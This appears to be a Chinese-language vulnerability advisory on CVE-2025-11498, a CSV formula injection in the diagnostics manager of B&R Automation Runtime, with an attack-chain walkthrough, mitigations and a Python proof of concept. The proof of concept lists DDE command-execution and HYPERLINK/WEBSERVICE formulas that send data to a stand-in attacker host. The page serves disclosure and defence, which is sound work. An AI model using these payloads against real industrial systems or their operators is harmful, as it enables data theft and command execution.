IPBUF安全漏洞报告
English
CVE-2025-11498 CVSS 6.1 中危

CVE-2025-11498 B&R Automation Runtime SDM CSV公式注入漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-11498
漏洞类型
CSV公式注入(Formula Injection)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
B&R Automation Runtime(System Diagnostics Manager / SDM)

相关标签

CSV公式注入Formula InjectionB&R Automation RuntimeSDM工业控制系统ICSSCADACWE-1236中危漏洞ABB

漏洞概述

CVE-2025-11498是B&R Automation Runtime中System Diagnostics Manager(SDM,系统诊断管理器)组件存在的一个CSV公式注入漏洞。该漏洞源于系统对CSV文件中公式元素(Formula Elements)的不当中和处理(Improper Neutralization),属于CWE-1236类别。攻击者可以利用此漏洞,通过构造恶意链接,诱导用户点击后,使SDM生成的CSV诊断报告中包含恶意的公式内容。当用户手动打开该CSV文件时,电子表格应用程序(如Microsoft Excel、LibreOffice Calc等)会自动解析并执行文件中的公式,从而导致数据泄露、远程代码执行或其他恶意行为。该漏洞的CVSS 3.1评分为6.1分,属于中危级别,影响范围为B&R Automation Runtime 6.4之前的所有版本。B&R Automation Runtime是B&R公司(现为ABB集团成员)开发的工业自动化控制软件,广泛应用于工业控制系统(ICS)和SCADA系统中。该漏洞由ABB的网络安全团队([email protected])发现并报告,体现了工业控制系统安全领域对供应链和应用层安全的持续关注。攻击向量为网络级(AV:N),无需认证(PR:N),但需要用户交互(UI:R),且存在范围变化(S:C),表明该漏洞可能影响到SDM组件之外的资源。

技术细节

该漏洞的核心技术原理是CSV公式注入(也称为CSV Injection或Formula Injection)。CSV文件本质上是以逗号分隔的纯文本文件,但当电子表格应用程序打开CSV文件时,会自动识别以特定字符(如=、+、-、@)开头的单元格内容为公式并尝试执行。

在B&R Automation Runtime的SDM组件中,当用户通过恶意链接请求生成诊断报告时,系统未能对用户可控的输入数据进行充分的过滤和转义处理。攻击者可以在链接参数中注入包含公式语法的恶意字符串,例如以=cmd|' /C calc'!A0或=HYPERLINK("http://attacker.com/?data="&A1, "Click")等格式的payload。当SDM生成CSV诊断文件时,这些恶意公式被原样写入文件内容中。

利用流程如下:
1. 攻击者构造包含恶意公式payload的特殊链接;
2. 受害者通过浏览器点击该链接,触发SDM生成诊断CSV报告;
3. SDM将包含恶意公式的数据写入生成的CSV文件中;
4. 受害者下载并手动打开该CSV文件;
5. 电子表格应用程序解析CSV时执行恶意公式,可能导致:
- 通过DDE(Dynamic Data Exchange)执行本地命令;
- 通过HYPERLINK函数窃取本地文件数据并外传;
- 利用WEBSERVICE函数进行服务端请求伪造(SSRF);
- 泄露本地敏感信息到攻击者控制的服务器。

该漏洞的影响范围为B&R Automation Runtime 6.4之前的版本,建议用户升级到6.4或更高版本以修复该问题。

攻击链分析

STEP 1
步骤1:构造恶意链接
攻击者分析B&R Automation Runtime的SDM组件接口,识别出可通过URL参数注入数据的端点,并在参数中嵌入CSV公式注入payload(如=cmd|'/C calc'!A0或=HYPERLINK等),构造恶意链接。
STEP 2
步骤2:投递恶意链接
攻击者通过钓鱼邮件、社交工程或其他方式将恶意链接发送给目标用户(通常是工业控制系统的运维人员或工程师)。
STEP 3
步骤3:诱导用户点击
受害者点击恶意链接,触发SDM组件生成诊断报告的请求。由于漏洞无需认证(PR:N),任何能访问SDM的网络用户均可触发。
STEP 4
步骤4:生成恶意CSV文件
SDM组件处理请求时,未对用户输入进行充分过滤,将恶意公式直接写入生成的CSV诊断报告中。
STEP 5
步骤5:用户打开CSV文件
受害者下载并手动打开生成的CSV文件(如使用Microsoft Excel或LibreOffice Calc)。
STEP 6
步骤6:公式自动执行
电子表格应用程序自动解析CSV中的公式并执行,可能导致本地命令执行、数据泄露到攻击者服务器,或通过SSRF攻击内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11498 - B&R Automation Runtime SDM CSV Formula Injection PoC # This PoC demonstrates the CSV injection attack vector against SDM import urllib.parse import http.client # Malicious formula payloads for CSV injection PAYLOADS = [ # DDE-based command execution (Microsoft Excel) '=cmd|\'/C calc\'!A0', # HYPERLINK-based data exfiltration '=HYPERLINK("http://attacker.com/exfil?data="&A1, "View Report")', # WEBSERVICE-based SSRF '=WEBSERVICE("http://attacker.com/"&A1)', # Data exfiltration via formula '=2+5+cmd|\'/C calc\'!A0', ] def craft_malicious_url(target_host, target_port, sdm_path, payload): """Craft a malicious URL that triggers SDM to generate CSV with injected formula""" encoded_payload = urllib.parse.quote(payload) # The injection point varies depending on SDM's URL parameter handling # Common injection vectors include report parameters, system names, or diagnostic queries malicious_url = f"http://{target_host}:{target_port}{sdm_path}?system={encoded_payload}&action=diagnostics&export=csv" return malicious_url def exploit(target_host, target_port=80, sdm_path="/sdm/diagnostics"): """Main exploitation function""" for payload in PAYLOADS: url = craft_malicious_url(target_host, target_port, sdm_path, payload) print(f"[*] Malicious URL crafted: {url}") # In a real attack scenario, this URL would be sent to the victim # via phishing email, social engineering, or embedded in a webpage # Example of malicious CSV output that SDM would generate: malicious_csv = """System Diagnostics Report\nTimestamp,System,Status,Details\n2025-10-14,=cmd|'/C calc'!A0,Running,Normal\n""" print(f"[*] Expected malicious CSV content:\n{malicious_csv}") if __name__ == "__main__": exploit("victim-bnr-runtime.local")

影响范围

B&R Automation Runtime < 6.4

防御指南

临时缓解措施
在升级到6.4版本之前,建议采取以下临时缓解措施:1)对SDM组件实施网络访问控制,仅允许受信任的IP地址访问诊断接口;2)在终端层面配置组策略,禁用Microsoft Excel等电子表格应用程序的自动公式执行和DDE功能;3)对用户进行安全培训,避免点击来源不明的链接;4)在打开任何由SDM生成的CSV文件之前,先用文本编辑器检查文件内容,确认不包含以=、+、-、@等字符开头的可疑单元格;5)部署终端检测与响应(EDR)解决方案,监控异常的进程创建和网络连接行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表